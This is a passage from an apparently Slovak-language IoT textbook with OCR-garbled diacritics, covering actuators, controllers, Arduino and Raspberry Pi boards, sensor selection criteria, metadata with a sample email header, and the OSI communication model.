moze napriklad otodit Zallzie v pripade, Ze je v miestnosti vela svetla, alebo modZe uzavriet
protipoziarne dvere v pripade pozZiaru, precerpat vodu na poliatie rastlin, ¢i vytladit chybnu saéiastku
z vyrobného pasu.

Elektrické motory pouZivaju pre vytvorenie mechanického pohybu elektrickd energiu, ktorou
vytvaraju otacavé magnetické pole pohybujlce sa rotorom (otacavou ¢astou motora).

Pneumatické motory vyuzivaju pre vytvorenie mechanického pohybu stlaéeny vzduch, ktory posuva
piest motora a ten nasledne vytvori pohyb. Hydraulické motory pracuju na podobnom principe ako
pneumatické motory, no pre vytvorenie pohybu vyuZivaju tlak kvapaliny.

Akénymi ¢lenmi vsak nemusia byt len motory. MozZu nimi byt aj:

zobrazovacie prvky (LED diédy, displeje),
elektroakustické prvky (sirény, reproduktory),
ventily (reguldcia prietoku plynov a kvapalin),
relé (pre zopinanie vyssich napati).
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Riadiace prvky

Riadiaci prvok, inak nazyvany aj kontrolér, je mozgom celého systému. Jeho Ulohou je prijat Gdaje zo
snimacov, upravit ich do vhodnej podoby pre dalSie spracovanie, vyhodnotit ich a na zaklade vopred
stanovenych podmienok vykonat pozadovanu akciu prostrednictvom akéného ¢lena.

Nemusi tak robit okamzite, ale mdze data odoslat na spracovanie a vyhodnotenie do centrdlneho
pocitaca (servera), ktory rozhodne o vykonani poZadovanej akcie. Takymto riadiacim prvkom moze
byt aj elektronicky obvod zostaveny zo sudiastok na vykonavanie konkrétnej ulohy. Ide o takzvané
jednoucelové zariadenie (embedded systém).

V hobby oblasti, pripadne pocCas vyvoja prototypov novych produktov sa najcastejSie
pouzivajednocipovy mikropocita¢, jednodoskovy pocita¢ alebo stolovy, ¢i obycajny pocita¢ alebo
server.

Hlavnym dbévodom je nizka cena, dostupnost a rychlost vyvoja. Vyvoj jednoucelového zariadenia je
Casovo a finan¢ne nakladny. PouzZitie takéhoto systému sa oplati az pri masovej produkcii, kedy je
embedded systém vyrazne lacnejsi nez jednocipové dosky, alebo vseobecné mikropocitace.

Jednocipovy mikropocitac (microcontroller, MCU) je integrovany obvod (Cip), ktory obsahuje vsetky
zakladné prvky pocitada - procesor, pamat avstupno-vystupné jednotky (porty). VacSinou ide
o pamat radovo v kB a procesor s taktovacou frekvenciou radovo v desiatkach MHz.

Tieto mikropocitate nemaju vlastny operacny systém asu vhodnejSie na jednoduché projekty.
V minulosti boli jednocipové mikropocitace doménou firiem Intel, Texas Instruments a Microchip
Technology, dnes uz ndjdeme na trhu mnoZstvo mikropocitacov od desiatok ré6znych vyrobcov.

Pre jednoduché loT projekty je dnes najcastejSie vyuZivana prototypovacia platforma Arduino, ktorej
srdcom je jednocipovy mikropocita¢ od firmy Atmel. Arduino je vyvojova doska, na ktorej je USB
konektor pre nahravanie programu a komunikaciu s poc¢itacom, konektor pre pripojenie napdjania
a konektor pre vstupno/vystupné obvody, na ktoré mdzeme pripojit snimace alebo akéné cleny.

Jeho cena sa pohybuje okolo 15-20€ (rok 2018) a je to skvela pomocka pri vyvoji prototypov. Arduino
ma svoje vlastné vyvojové prostredie, programovaci jazyk podobny jazyku C. Celd tato platforma je
vydand pod licenciou open-hardware, ¢o umozniuje vyvijat si vlastné klony Arduina prisposobené
nasim podmienkam.
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Obrazok 2.2 - Arduino UNO

Zdroj [6]

Jednodoskovy pocitac je pocita¢ umiestneny na jednej doske cca o velkosti kreditnej karty. Na tejto
doske su okrem procesora a pamate umiestnené aj dalSie obvody pre komunikaciu pocitaca s okolim
(USB, HDMI, RJ45,...), pricom tieto jednodoskové pocitace maju casto o niekolko desiatok az

.....

Zvladaju vypoctovo i paméatovo narocnejsie Ulohy a pouzivaju sa ako riadiace jednotky pri zlozitejsich
projektoch. Typickym predstavitefom jednodoskového pocitaca je Raspberry Pi, ktory za cenu cca 40€
ponuka 1.4 GHz $tvorjadrovy procesor, 1GB RAM pamaite, slot na SD kartu pre externi pamat
a viacero komunikacnych portov. Jeho nevyhodou je vSak absencia analégovych portov a tiez nizsi
povoleny odber pradu na viactucelovych komunikacnych pinoch.

2.2 Embedded zariadenia

Embedded systém je pocitadovy systém so Specializovanou funkciou aje sucastou véacSieho
zariadenia. Sembedded systémom je moziné sa stretnit napriklad vautomatickej pracke,
automobiloch ¢&i termostatoch. V dalSom texte sa budeme blizsie venovat hobby embedded
zariadeniam, ktorych nakupna cena je dostatocne nizka, aby si ich mohol zadovazit aj bezny ¢lovek &i
Student.

Hlavnym rozdielom medzi embedded systémom a vSeobecnym pocitacom, ktory je na stole v ucebni,
je v parametroch ako:

spotreba energie,

rozmery,

rozsah operacii, ktoré sa daju vykonavat v systéme,
naklady na vypoétovu jednotku (Hz/€, MB/€, atd").

Pri embedded systémoch su vsetky spomenuté hodnoty v porovnani s klasickym viactucelovym
pocitacom, pripadne notebookom spomenuté nizsie.
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Obrazok 2.3 - Embedded zariadenie

Zdroj [6]

2.3 Arduino

Arduino je velmi popularna doska pre vyvoj prototypov a hobby rieseni. Velkou vyhodou je vysoka
rychlost pochopenia principov pouZivania dosky avyvoja Arduino aplikacii, rozsiahla komunita
pouzivatelov, kvalitné tutorialy a navody, ktoré vysvetluju pouzitie a ovladanie Arduina.

Arduino je velmi dobra platforma pre ziskanie zakladnych znalosti a skusenosti svyvojom loT
produktov. Ponuka velké mnoZstvo dosiek v rozlicnych konfiguraciach. Jednotlivé dosky sa medzi
sebou odlisuju v rozmeroch, taktovacej frekvencii procesora, velkosti dostupnej pamate.

Arduino ma v porovnani stradicnymi mikrokontrolérmi zjednoduseny proces programovania.
Vacsinu zloZitej prace za pouzivatela spravi Arduino Software, ¢o je vyvojové prostredie (IDE),
kompilator a programator v jednom.

Arduino je skvely nastroj na tvorbu prototypov pre Internet veci. Prototyp je prvotny model systému,
resp. rieSenia, ktoré sa snazime vyvinut. Prvé prototypy sa vadésinou realizuju na prepojovacich
doskach, ¢i nepdjivych poliach (breadbordoch) a maju podobu spleti kablov (angl. cable nest), ktoré
prepajaju suciastky.

V sucasnosti (rok 2018), je na trhu dostupnych niekolko Arduino dosak. Medzi najviac popularne
v komunite nadSencov patria:

Arduino Uno,
Arduino Mega,
Arduino NANO,
Arduino MINI.

Arduino Uno

NajrozsirenejSou doskou spomedzi Arduino produktov je doska Arduino Uno. Tuto dosku pouZivaju
prave ti, ktori zacinaju prenikat do tajov lIoT. Doska je osadena procesorom Atmel ATmega328P, ktory
beZi na frekvencii 16MHz. Je to sice vykon procesora porovnatelny s pocitacmi v 90-tych rokoch, ale
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bez problémov zvldda vykonat niekolko desiatok tisic inStrukcii za sekundu, ¢o pre jednoduché
aplikacie Uplne postacuje.

Obrazok 2.4 - Arduino UNO

Zdroj [6]

Procesor ma v sebe umiestnent Flash pamat s velkostou 32kB, do ktorej sa nahrava program a tiez
obsahuje RAM pamit s velkostou 2kB. Neda sa presne povedat, kolko riadkov kédu sa zmesti do
takéhoto Arduina. MdzZeme to odhadnut na cca niekolko tisic, zavisi to vsak od viacerych faktorov
a najma od mnoZstva pouzivanych pomocnych kniznic.

Vstupy a vystupy z Arduina realizujeme prostrednictvom portov, oznacovanych aj ako piny, ktorych je
na Arduine 20. Kazdy z nich mozZe byt pouzity ako digitalny vstup resp. vystup. Digitalny znamen3, ze
naf vieme umiestnit, resp. z neho precitat hodnotu logickej jednotky (5V) alebo hodnotu logickej
nuly (OV). Dvanast z tychto pinov véak moZe mat $pecidlne poufitie. Sest z nich je mozné poufit ako
analégovy vstup, ktory dokaze odmerat napétie v rozsahu O - 5V s presnostou na cca 5mV. Tieto
porty st na Arduine oznacené ako ANALOG IN.

Dalich 6 pinov je moZné pouzit ako analégovy vystup, teda pre generovanie napitia s velkostou O -
5V, ktoré mbieme regulovat po 20mV. Tieto piny sU na Arduine oznadené ako PWM. Pri praci
s tymito pinmi je potrebné mat na pamiti, Ze cez nich dokaze pretekat elektricky prad s velkostou
max. 20mA, inak by sa poskodili.

Arduino Uno sa mo6ze napdajat z USB portu s napatim 5V, pripadne z externého zdroja s napatim 7-
12V. Pre prepojenie Arduina Uno s pocitacom sa pouZiva kabel s koncovkou USB B.

Arduino Mega

Tato verzia Arduina je vhodnejsia pre vacSie a komplexnejsSie projekty, nez aké sa daju zrealizovat
pomocou dosky Uno. Arduino Mega je pohanané procesorom ATmega2560, ktory bezi na frekvencii
16MHz. Na rozdiel od svojho mensieho brata ma vsak Flash pamat s velkostou 256kB, ¢o znamena, zZe
velkost 8kB. Pocet pinov sa zvacsil na 70, z ¢oho je mozné vyuzit 12 na analdgovy vystup (PWM) a 16
na analégovy vstup (ANALOG IN).
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Arduino MEGA

uuu.arduino.cc
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K pocitatu je mozné ho pripojit podobne ako Uno, cez USB kabel s koncovkou USB B, pricom
napajanie je mozné realizovat aj externym zdrojom s napatim 7-12V.

Arduino Nano

Tato prototypovacia doska ma malé rozmery, pricom na dizku dosahuje 4,5cm a na $irku 1,8cm.
Procesor, Flash pamat aj RAM je zhodna s doskou Arduino Uno. Je vhodné ju pouzit vtedy, ak
potrebujeme dosiahnut mensie rozmery nasho vysledného produktu. Obsahuje 22
vstupno/vystupnych pinov. Pre analdgovy vystup je mozné pouzit 6 z nich a pre analégovy vstup
jeuréenych 8. M6Zeme na nich pracovat s prudovym zatazenim az do 40mA.

Obrazok 2.6 - Arduino NANO

Zdroj [6]

Na rozdiel od Una a Megy tato doska nema konektor pre pripojenie vonkajsieho napajania, i ked' to
sa da pripojit cez separatne vodice. K pocitacu sa pripaja pomocou USB kabla s koncovkou USB mini.

Dal3ie Arduino dosky:

B Arduino Mini - najmensia doska, ktora ma len 18x30mm a je vhodna do malych priestorov.

B Arduino Leonardo - dokdze simulovat klavesnicu alebo mys, ¢o ho robi vhodnym ako
perifériu pre priamu komunikaciu s pocitacom.

B Arduino Yun - ma vykonny procesor, na ktorom médze bezat OS Linux. Jeho zabudovany
Ethernet a WiFi modul ho robi vhodnou doskou pre 10T riesenia.

B Arduino LilyPad - doska urcend pre pripevnenie na textil. Ma kruhovy tvar, nizku spotrebu
a je pouzitelnd s vodivymi nitami.
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2.4 Raspberry PI

Raspberry Pi poskytuje takmer tisicnasobne vacsi vypoctovy vykon nez Arduino a z hladiska paméte
mozeme hovorit o stotisicndsobkoch. Konkrétne ma Raspberry Pi vo verzii 3 Model B+ 64-bitovy
procesor s frekvenciou 1.4GHz, RAM pamaét s kapacitou 1GB a Flash pamat je zavisld od microSD
karty.

Raspberry Pi je v podstate plnohodnotny pocitac, na ktorom beZi operacny systém Linux.
Odporucanym operacnym systémom pre tuto platformu je Raspbian (Linuxova distriblcia Specialne
vyvinutad pre Raspberry Pi), ale je na iom moziné spustit napriklad aj OS Chromium, Android, i
Windows 10 vo verzii loT Core.

S okolim komunikuje Raspberry Pi prostrednictvom viacerych vstupno-vystupnych rozhrani. Mézeme
k nemu pripojit klavesnicu a my$ prostrednictvom 4 USB 2.0 portov, ¢i monitor prostrednictvom
rozhrania HDMI. Na sietovd komunikéciu s ostatnymi zariadeniami slizZi vstavany 802.11 b/g/n/ac
WiFi modul, ¢i Gigabitovy Ethernetovy port. NavySe mame k dispozicii aj Bluetooth 4.2 s podporou
Bluetooth Low Energy (BLE).

V loT rieSeniach vsak ¢asto potrebujeme nacitavat data priamo zo senzorov, resp. riadit akéné ¢leny
pripojené k pocitacu prostrednictvom napatovych vodicov. Na tento Ucel slGzi v Raspberry Pi GPIO
modul, ktory ma 40 pinov, z nich 27 je pouZitelnych pre vstupy a vystupy, ostatné sa pouzivaju na
napajanie.

Na rozdiel od Arduina, kde logickd jednotka bola reprezentovand napatim 5V, je v Raspberry Pi
logickd jednotka reprezentovana napatim 3,3V (niekedy oznacované aj ako 3V3). Pri priamom
pripdjani senzorov a akénych ¢lenov je treba davat pozor, aby sme na RPi nepripojil napatie 5V,
pretoze by sme mohli znicit cely pocita¢. Maximalne prddové zatazenie GPIO pinov je 16mA.

TIP!

Pre vyvedenie GPIO pinov z dosky Raspberry Pi moZete pouzit IDE kabel pre pripojenie starsich
pevnych diskov k pocitacu.

Ak potrebujeme k RPi pripojit suciastky alebo moduly s vy$simi prddovymi narokmi, je potrebné
pouzit pripojenie cez tranzistor, o ktorom sa docitate v kapitole Elektronika. Samotné napajanie RPi
je realizované cez microUSB port. Pre napajanie je vhodné pouzit USB nabijacku s pridom aspon
1.5A, avSak samotny vyrobca odporuca USB zdroj s prudom 2.5A.
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Obrazok 2.7 - Raspberry PI

Zdroj [6]

Nevyhodou RPi je absencia pinov, ktoré by mohli sldzZit ako analdégovy vstup pre meranie napatia.
Z tohoto dovodu sa casto tieto dva pocitace kombinuju tak, Ze riadenie prevezme Raspberry Pi
a meranie veli¢in nechdme na Arduino, pricom ich vzdjomne prepojime USB kablom alebo
prostrednictvom sériovej linky a naprogramujeme komunikacny protokol pre preberanie
a odosielanie dat.

2.5 RozSirujuce moduly

Mnoho senzorov snimajucich hodnoty z prostredia nemdze fungovat ako samostatna suciastka. Je
potrebné k nej pripojit dalSie elektronické suciastky, napr. pre obmedzenie pridu alebo napdtia, ¢i
nastavenie elektrickych parametrov pre spravne fungovanie. Niektoré zapojenia su dokonca tak
komplexné, Ze by na prototypovom nepdjivom poli zabrali vaésinu miesta, ktoré potrebujeme
napriklad na pripajanie LED didd alebo vzajomné prepojenie komponentov.

Prave z tohto dovodu su na trhu pre prototypovanie k dispozicii moduly. V anglictine sa tieto moduly
oznacuju ako shields a bricks. Terminolégia je zavisla od znacky a komunity (Arduino vs. Raspberry
PI).

Najcastejsie ide o dosky plosnych spojov s rozmermi do niekolkych jednotiek centimetrov, na ktorych
je vacsinou umiestnenyhlavny snimac s pripojenymi pomocnymi stciastkami. Na obrazku je moziné
vidiet, ako vyzera senzor pre detekciu teploty a vihkosti DHT11 vo forme suciastky (viavo) a vo forme
modulu (vpravo).
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Obrazok 2.8 - Snimac a rozsirujuci modul snimaca

Zdroj [6]

Moduly st komplexnejSie elektronické zapojenia, ktorych velkost, tvar a usporiadanie pinov (tzv.
pinout) su navrhnuté presne pre konkrétnu vyvojovi dosku. Pre dosku Arduino je k dispozicii
mnozstvo externych modulov ako:

¢iselna klavesnica,

LCD displej pre zobrazovanie textovych alebo grafickych udajov,
relatkové pole pre spinanie velkych napati,

MP3 modul pre prehravanie hudobnych suborov,

ethernetovy ¢i WiFi modul,

a mnoho inych.

Rovnako, ako pre Arduino, aj pre Raspberry Pi je k dispozicii mnoho modulov, ako napriklad GSM ¢i
GPS modul.

TIP!

Aby bolo mozné pouzit viac modulov stucasne, je potrebné aby boli rozsiritelné. V angliétine sa
takyto rozsiritelny modul oznacuje ako takzvany ,stackable shield”. Charakterizuju ho vyvedené
konektory, do ktorych je mozné pripoijit dalsi rozSirujici modul.
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Obrazok 2.9 - Externé moduly (Raspberry PI, Arduino)

Zdroj [6]

2.6 Senzory

Pri vybere snimaca je potrebné dbkladne zhodnotit mnoho parametrov. Podla toho je mozné vybrat
snimac, ktory je v sulade s projektovymi poziadavkami.

Rozsah teplét

Teplotny rozsah snimaca definuje teploty, pri ktorych je snimac bezpecne ovladatelny a poskytuje
presné merania. Kazdy snima¢ ma Specifikovany teplotny rozsah zaloZzeny na vlastnostiach pouzitych
materidlov. Zhodnotenie celého rozsahu teplot, ktorym modze byt snimac vystaveny, mbze pomoct
zabranit poskodeniu snimaca a zabezpedit presnejsie merania.

Linearita

Idealny snimac by mal mat dokonale linedrnu odozvu - napriklad zmena tepelnej jednotky by viedla
k zmene jednotky napatia v celom teplotnom rozsahu snimaca. V skuto¢nosti vSak Ziaden snimac nie
je dokonale linearny.

Citlivost

Citlivost snimaca je parameter, ktory popisuje, aki minimalnu zmenu hodnoty, napriklad teplotu,
dokaze snimac zaznamenat. Citlivejsi snimaé, ako je termistor, dokaze lahsie detegovat malé zmeny
teploty ako menej citlivy snimaé, napriklad termoclanok. Tato citlivost v3ak prichadza na ukor
linearity. To mdze byt dolezity faktor pri urcovani idedlneho vyberu snimaca pre teploty, ktoré
meriate. Ak mate v Umysle zachytit zmenu stupnia zlomu v malom teplotnom rozsahu, termistor sa

javi ako vhodnejsi. Pre snimanie vacsich teplotnych zmien v SirSom rozsahu teplot mobze stacit
termoclanok.

Doba odozvy

Cas odozvy je mierka ¢asu, za ktory snimac reaguje na zmenu teploty. Mnohé faktory mézu spdsobit
zvysSenie alebo znizenie doby odozvy. Vymena za nevyhodu horsej odozvy je mensia nachylnost na
chyby sp6sobené napriklad samo ohrievanim.
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Stabilita

Stabilitasnimaca je znamkou jeho schopnosti udrziavat konzistentny vystup pri danej teplote.

v s

Material zohrava klticovu Ulohu v stabilite daného snimaca.

Presnost’

Rovnako ako pri akejkolvek aplikacii merania, pochopenie poZiadaviek na presnost je rozhodujlice
pre zabezpecenie spolahlivych vysledkov. Vyber senzora a meracieho hardvéru zohrava doélezitu
ulohu v absolltnej presnosti merania, ale rovnako aj mensie detaily, ako je kabeldz, relativna blizkost
inych zariadeni, tienenie, uzemnenie, atd. mézu mat vplyv na presnost.

Pri vybere snimaca je potrebné si viimat Specifikované tolerancie a vsetky faktory, ktoré by mohli
mat vplyv na tuto Specifikaciu (napriklad dlhodobé vystavenie vysokym teplotam). Pozornost je
potrebné venovat tomu, aby sa snimac¢ a meracie zariadenie volili s podobnou presnostou. Nizka
tolerancia prindsa vyssiu cenu, ale pri pouZiti meracieho zariadenia s nizkou kvalitou sa nemusi
dosiahnut dodatoc¢na presnost merania.

Zivotnost

Aby sa zabezpedilo, Ze snimace teploty zostanu v prevadzke po dobu Zivotnosti aplikacie, musi
navrhar rozumiet prostrediu, v ktorom budu nasadené. Niektoré snimace (napriklad termoclanky) su
z dévodu ich konstrukcie trvanlivejSie. Kovy vybrané pre konkrétny termoclanok vsak maju odlisnu
odolnost voci kordzii. Navyse snimaé zapuzdreny vizolaéhom mineralnom a ochrannom kovovom
plasti je odolnejsi vocCi opotrebovaniu a kordzii v priebehu casu, ale stoji viac a ponuka mensiu
citlivost. Treba tiez poznamenat, Ze r6zne konfiguracie snimacov mdzu mat Specidlne poziadavky na
montaz, aby sa zabezpecilo pevné fyzické a tepelné pripojenie.

Ndklady

Rovnako ako u vsetkych aspektov projektu, mozu byt klicovym limitujicim faktorom naklady. Pri
niektorych aplikacidch moze prinos linearity prevazit zvysenie ndkladov. Pri zohladneni celkovych

nakladov na systém musite tiez zvazit dodatoc¢né naklady na zapojenie, montaz a Upravu signalu.

2.7 Komunikacia

Principy komunikacie m6zeme ndjst v prirode, medzi fudmi, vo vyspelej civilizacii aj medzi strojmi
a zariadeniami. Velmi zjednodusSene povedané, komunikacia je dvojsmerny proces so snahou
o dosiahnutie vzdjomného porozumenia, v ktorom si Ucastnici vymienaju informacie, spravy, napady,
pocity.
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Obrazok 2.10 - Komunika¢ny model

Zdroj [7]
Aby mohla komunikacia prebehnut, si potrebné tieto prvky a procesy:

odosielatel,

prijemca,

sprava (nesie v sebe informaciu),
médium,

kédovanie,

dekddovanie.

V procese komunikacie sa dalej objavuja, nie su ale nevyhnutné:

odpoved,
spatna vazba,
sum.

Ucelom komunikacie je prenos informdcie. Informacie pomahaju odstrafiovat neistotu, alebo
poskytuju odpoved na urcitl otazku. Su teda spojené s idajmi a poznatkami, ktoré pomahaju chapat
redlny svet, rozhodovat sa, pripadne aj predchadzat nebezpecenstvu.

2.7.1 Informdcie

Slovo informacia pochdadza z latinského zakladu Informate, ¢o v preklade znamena “dat myslienkam
formu”. Informacie su poznatky o konkrétnom subjekte, otazke, udalosti alebo procese.

Informdcie mézu byt zakédované do réznych foriem. Uéelom méze byt:

Zaistenie efektivneho prenosu informacie na vzdialené miesto.
Zabezpecenie informacie pred neZzelanym Citanim.

Informacie si nevyhnutné takmer pre kazdu ¢innost - planovany prichod autobusu, cesta k cielu
v novom meste, postup pre pripravu obedu, montainy manual, ndvod na poufZitie, zmluvné
podmienky a mnoho inych ¢innosti a situdcii, ktoré si beznou sucastou zZivota ¢loveka. Informacie su
na kazdom kroku.

Pre realiziciu jednotlivych Uloh potrebujeme iny typ informdacii. Najst tie najviac najuzitocné

a relevantné informacie, potrebné pre splnenie Ulohy mézu poskytnit odpovede na nasledujice
otazky:
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Kde hladat informacie?

Aké rézne zdroje informdcii su k dispozicii?

Aké informacie su dostupné?

Preco potrebujeme konkrétne tieto informacie a nie iné?
Su tieto informacie pravdivé?

Su tieto informacie Uplne?

Typy informdcii

Kazdé zariadenie mdze poskytovat, alebo spracovavat rézne typy dat. Ak su data zasadené do
kontextu, ziskame z nich informacie. Existuje niekolko typov informacii. Pre kazdy typ informacie
a jeho optimalne spracovanie sa mbze vyzadovat odlisny systém.

Mnoho systémov pre komunikaciu vyuZiva prispésobené APl (application programming interface)
rozhrania, ktoré zabezpecuju, Ze systém dostane na vstupe data vo formate, ktorému rozumie
a ktory vyZaduje.

Metadata

Pri prenose dat sa Casto stretdvame s konceptom metadat. Metadata su informacie o informaciach.

Metadata mozu byt vliozené do digitdlneho objektu alebo moézu byt ulozené samostatne. Metadata
nie su pouzivatelom zvycajne viditelné.

Napriklad udaj 04012 nema sam o sebe Ziaden vyznam. Akondahle su k tymto datam pripojené aj
metadata, stane sa z nich informacia, ktora nadobudla kontext. Tato informacia je pouzZitelna pri
dalSom spracovani a rozhodovani. Napriklad:

<psc> 04012 </psc>
Velmi dobrym prikladom metadat je hlavicka mailovej spravy:

Delivered-To: x...y@gmail.com
Received: by 10.80.209.194 with SMTP id i2csp3084784edg;
Wed, 18 Apr 2018 08:26:32 -0700 (PDT)
X-Google-Smtp-Source:
AIpwx49F7kbSrbMTiALn3zXk5DoBkJUM6U1GIXIgNLal43Vu2aUcA3LgmgKm3Znis
X-Received: by 10.28.175.140 with SMTP id y134mr2233463wme.139.1524065191998;
Wed, 18 Apr 2018 08:26:31 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1524065191; cv=none;
d=google.com; s=arc-20160816;
b=I4uGqYX2T80ayVCToQYyWtYZ8IPapDzmcc20JyNeFWQW/SwWORQIN64LH/f
6QNfxrzI862dOmqt4mLC90IrOLAMVKkHUDbuDTZGSrWfih2GmeYjh3qCyYP
KrdptaDacgb3yu@amdYoNmnvCxz1XJ1rKShHw9sVaBj2tgnpVakrN+ftbUL
zsyvKmZxuJd3yBQDG+xks3dOEs+jRtIpLoIMQ4zxivnI3/sXoirX53il4q
KweMt6Vux/+5IbtZ2rwdYxe216Pvq/+pp5C3X0jlrxXILKiinHsyfhmotb
BKFw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com;
s=arc-20160816;
h=content-transfer-encoding:mime-version:message-id:subject:reply-to
:from:to:date:dkim-signature:delivered-to:arc-authentication-results;

Metadata mozu zhromazdovat, uchovavat a analyzovat na dobré Ucely organizacie, ako su vlady,
marketingové organizacie a poskytovatelia zdravotnej starostlivosti. Udaje by sa mohli pouZit na
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zobrazenie podpornych vladnych iniciativ, objavujucich sa trendov v nakupovani alebo na zlepsenie
pristupu k lekdrom a ambulanciam.

Metadata je mozné poufZit aj na ukladanie a archivaciu dat. Bohuzial, informacie v metadatach moézu
byt tiez zneuzité a pouzité na napadnutie nasho stkromia, sledovanie nasich pohybov, pripadne
ukradnutie nasich penazi alebo identity.

TIP!

V niektorych aplikdciach je mozné ukladanie aspracovanie metadat vypnut. Toto sa casto
nachdadza na karte Nastavenia alebo MozZnosti (Settings, Options). PretoZe kazda aplikacia je ina,
skontrolujte dokumentaciu a zistite, ¢i dana verzia systému podporuje poZadované prikazy
a komunikacny format.

FARRRRRERERRENERNENRRFRRH}RN™ )
I EEEEEEEEEEEEEEEEEESR

Prikazy

Prikazy su akcie, ktoré vykonava koncové zariadenie. Vo vacsine pripadov si obmedzené v zavislosti
od implementdcie systému. Rézne prikazy pouZiva termostat a vyrobna linka. Prikazy nie si samé
0 sebe reprezentované ako data.

V niektorych pripadoch je na prikaz naviazana navratova hodnota, pripadne potvrdzovacia sprava.
Priklady prikazov:

otodit vlavo,

otodit vpravo,
zapnut,

vypnut,

zobrazit text “14 °C”".

Prevddzkové informdcie

Prevadzkové informacie su udaje, ktoré su dolezité pre prevadzku zariadenia, nevyuZivaju sa pre
poskytovanie pridanej hodnoty. MozZe to zahfriat napriklad prevadzkovu teplotu procesora a stav
batérie. Tento druh Gdajov nemusi mat dlhodobu analyticki hodnotu, ma vsak kratkodobd hodnotu,
ktora pomaha udrziavat prevadzkovy stav, ako je napriklad diagnostika problémov, prevencia proti
vypadkom.

Spracovanie dat

Data, ktoré neposkytuju poZadované informacie, sui dalej spracované, alebo uchované pre dalsie
pouzitie napriklad s pomocou tychto operacii:

transformdcia udajov - prevod dat do iného formatu, napriklad konverzia napatia signalu
zachyteného prijimacom na kalibrovanu jednotku teploty.
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agregacia udajov a analyza - kombinaciou Udajov je mozné aplikovat Statistickd analyzu.
Napriklad s pomocou priemerovania Udajov medzi viacerymi zariadeniami je moZné
odfiltrovat extrémne vychylky, ktoré by mohli spdsobit chybné rozhodnutia.

obohatenie udajov - kombindcia Udajov generovanych zariadenim sinymi metaudajmi
o zariadeni alebo s inymi datovymi subormi, ako su Udaje o pocasi alebo Udaje o premavke,
ktoré sa pouziju pri naslednej analyze.

prestvanie Udajov - proces pri, ktorom Udaje moZete ziskavat na jednom mieste, spracovat
na druhom a ukladat a archivovat na tretom. VSetky miesta mozu byt navzajom technicky
a geograficky nezavislé.

2.8 Komunikac¢ny model

Pre pochopenie konceptu komunikacie bolo vytvorenych niekolko modelov, ktoré vseobecne
popisuju proces komunikacie. Zvycajne je model rozdeleny do niekolkych vrstiev, kde kazda vrstva
poskytuje Specifické sluzby. Pri sietovej komunikacii je najéastejsie pouzivany OSI model.

VSeobecne uznavany komunikaény model zabezpecuje, Ze aj zariadenia réznych vyrobcov dokazu
medzi sebou bez problémov komunikovat. Takto je moiné zlozit komplexnd sietovi aloT
infrastrukturu so zariadeniami od rozli¢nych vyrobcov.
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Obrazok 2.11 - OSI model

Zdroj [8]

Rozdelenie komunikacie medzi viacero zariadeni avrstiev ma niekolko vyhod. Prvou je to, Ze
pomaha zlepsovaniu rozvoja technoldgii, pretoze zmeny v jednej komunikacnej vrstve neovplyviuju

komunikaciu v inych vrstvach.

Dalej podporuje konkurenciu podnikov, pretoZze komunikaéné $tandardy zabezpeduju, 7e zariadenia
od réznych vyrobcov su schopné spolu komunikovat. Taktiez pomahaju navrhovat nové komunikaéné
Standardy (protokoly), pretoZe protokoly pracujice na danej vrstve maju definované informacie,
s ktorymi mozu pracovat a rozhranie pre komunikaciu s nizsimi alebo vyssimi vrstvami.

Jednotlivé vrstvy ISO OSI modelu maju nasledovné funkcie:

1. fyzicka vrstva - popisuje ako vyzera fyzicka Cast siete. Definuje rozmery a fyzikalne parametre
konektorov, vodi¢ov, Urovne hodnoét logickej 1 alogickej 0 na tom-ktorom prenosovom

médiu, spésob reprezentacie a kddovania informacii.

2. spojova vrstva (oznacovand aj datalinkovd)- popisuje komunikaciu medzi dvomi susednymi
zariadeniami v pocitacovej sieti. Je v nej Specifikované ako su definované adresy jednotlivych
zariadeni, ako prebieha synchronizacia, ¢i kontrola a oprava dat alebo zistovanie, ¢i su volné

prenosoveé linky.
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3. sietova vrstva - popisuje vyber prenosovej cesty Udajov v sieti, uréuje ako maju vyzerat
adresy koncovych zariadeni (predosla vrstva rieSila len susedné zariadenia). Jej ulohou je co
najlepsie dorudit data z jedného na druhy koniec prenosove;j cesty.

4. transportna vrstva - urCuje spoOsob, ktorym sa vramci jedného zariadenia priradi
komunikacia do tych spravnych aplikacii pre ich spracovanie. Jej Ulohou je tieZ overit spravne
dorucenie dat medzi koncovymi zariadeniami a riadenie datového toku.

5. relaéna vrstva - jej Ulohou je udrZiavat spojenie medzi aplikaciami na koncovych zariadeniach
a zabezpecovat potrebnd vymenu dat bez prerusenia.

6. prezentacna vrstva - ma za Ulohu spravne prezentovat data, napriklad pripojit k telu emailu
aj hlavicku, v ktorej je uréena priorita emailu, adresa pre odpoved, jazyk spravy a podobne.
Délezitu ulohu tiez zohrava pri Sifrovani dat.

7. aplikaéna vrstva - tvori rozhranie medzi pouzivatefom a sietou a jej tlohou je prijimat data
od pouzivatelov, spravne ich interpretovat anaformatovat podla vopred danych
komunika¢nych standardov. Na druhej strane komunikacie ma tato vrstva za Ulohu data
spravne zobrazit.

2.9 Spojenia

V loT systémoch su zaclenené koncové elektronické zariadenia (Arduino, Raspberry Pl), sietové
zariadenia (router, switch, server, antény,...). Tieto zariadenia su prepojené na roéznych vrstvach
komunika¢ného modelu.

Aj preto sa pouZiva niekolko réznych vyznamov slova "pripojenie" alebo “spojenie”, ktoré sa
pouzivaju pri navrhovani, konfiguracii, diagnostike a odstraniovani problémov s loT systémom.

Elektronické spojenia

Ako jednym z prvych pripojeni, je elektronické pripojenie zariadeni. Moze ist napriklad o pripojenie
k zdroju napajania. Zdrojov napajania mdze byt niekolko typov:

batérie,

sietové napdjanie,

externé napajacie zdroje (na konverziu AC na DC),
napajanie cez Ethernet (PoE).

Vé&csina zariadeni sa pripdja k elektrickej sieti, odkial ziskava elektrick( energiu pre svoju ¢innost. loT
zariadenia sa pouzivaju aj na vzdialenych miestach, kde je ¢asto obmedzeny pristup k sieti, alebo siet
nie je k dispozicii vobec. V tychto situaciach sa ziskava energia zo sIne¢nych ¢lankov, alebo teplotnych
rozdielov (termoclankov) na napajanie zariadeni.

Spojenie z pohladu elektroniky sa tyka aj drotov a obvodov pouZivanych v loT zariadeniach. Vsetky
loT zariadenia maju obvody, ktoré spolu spajaju snimace, ovladace a riadiace jednotky.
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Obrazok 2.12 - Kontaktné pole

Zdroj [6]

Aby sa pocas prototypovania novych zariadeni, proces prepdjania suciastok zjednodusil, ¢asto sa
